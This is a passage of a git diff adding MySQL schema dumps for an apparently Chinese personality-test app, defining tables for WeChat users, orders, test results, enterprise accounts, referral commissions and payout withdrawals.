---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_bindings`; +CREATE TABLE `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE, + INDEX `idx_inviteeId`(`inviteeId`) USING BTREE, + INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE, + INDEX `idx_expireAt`(`expireAt`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_withdrawals +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_withdrawals`; +CREATE TABLE `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)', + `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', + `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注', + `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', + `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', + `createdAt` int(11) NULL DEFAULT NULL, + `updatedAt` int(11) NULL DEFAULT NULL, + `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)', + `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)', + `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号', + `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)', + `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID', + `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号', + `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE, + INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_enterprises +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprises`; +CREATE TABLE `mbti_enterprises` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称', + `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码', + `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `balance` int(11) NULL DEFAULT 0 COMMENT '余额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用', + `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_code`(`code`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_finance_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_finance_records`; +CREATE TABLE `mbti_finance_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_orders +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_orders`; +CREATE TABLE `mbti_orders` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID', + `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号', + `userId` int(11) NOT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report', + `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled', + `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式', + `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_productType`(`productType`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_pricing_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_pricing_config`; +CREATE TABLE `mbti_pricing_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认', + `config` json NULL COMMENT '定价配置(JSON格式)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_questions +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_questions`; +CREATE TABLE `mbti_questions` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp', + `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容', + `options` json NULL COMMENT '选项(JSON格式)', + `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)', + `sort` int(11) NULL DEFAULT 0 COMMENT '排序', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_sort`(`sort`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_system_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_config`; +CREATE TABLE `mbti_system_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版', + `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_system_configs +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_configs`; +CREATE TABLE `mbti_system_configs` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `configKey`(`configKey`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_test_results +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_test_results`; +CREATE TABLE `mbti_test_results` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face', + `resultData` json NULL COMMENT '测试结果(JSON格式)', + `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)', + `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是', + `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是', + `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户', + `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_testType`(`testType`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_isPaid`(`isPaid`) USING BTREE, + INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_upload_files +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_upload_files`; +CREATE TABLE `mbti_upload_files` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径', + `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL', + `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local', + `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5', + `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)', + `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型', + `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_user_profile +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_user_profile`; +CREATE TABLE `mbti_user_profile` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)', + `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)', + `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)', + `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数', + `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数', + `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数', + `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数', + `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数', + `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数', + `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)', + `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)', + `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai', + `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间', + `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID', + `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID', + `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID', + `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID', + `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间', + `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE, + INDEX `idx_enterprise`(`enterpriseId`) USING BTREE, + INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_users`; +CREATE TABLE `mbti_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱', + `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', + `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', + `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `username`(`username`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_role`(`role`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_wechat_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_wechat_users`; +CREATE TABLE `mbti_wechat_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid', + `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)', + `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥', + `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称', + `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女', + `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家', + `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份', + `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用', + `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', + `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', + `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_openid`(`openid`) USING BTREE, + INDEX `idx_unionid`(`unionid`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/api/mbti_data.sql b/api/mbti_data.sql new file mode 100644 index 0000000..ba5f872 --- /dev/null +++ b/api/mbti_data.sql @@ -0,0 +1,1238 @@ +/* + Navicat Premium Data Transfer + + Source Server : kr_存客宝 + Source Server Type : MySQL + Source Server Version : 50736 + Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 + Source Schema : mbti + + Target Server Type : MySQL + Target Server Version : 50736 + File Encoding : 65001 + + Date: 12/03/2026 17:12:50 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for mbti_activities +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_activities`; +CREATE TABLE `mbti_activities` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID', + `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型', + `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述', + `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_ai_providers +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_ai_providers`; +CREATE TABLE `mbti_ai_providers` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称', + `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用', + `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏', + `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)', + `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点', + `model` varchar(100) 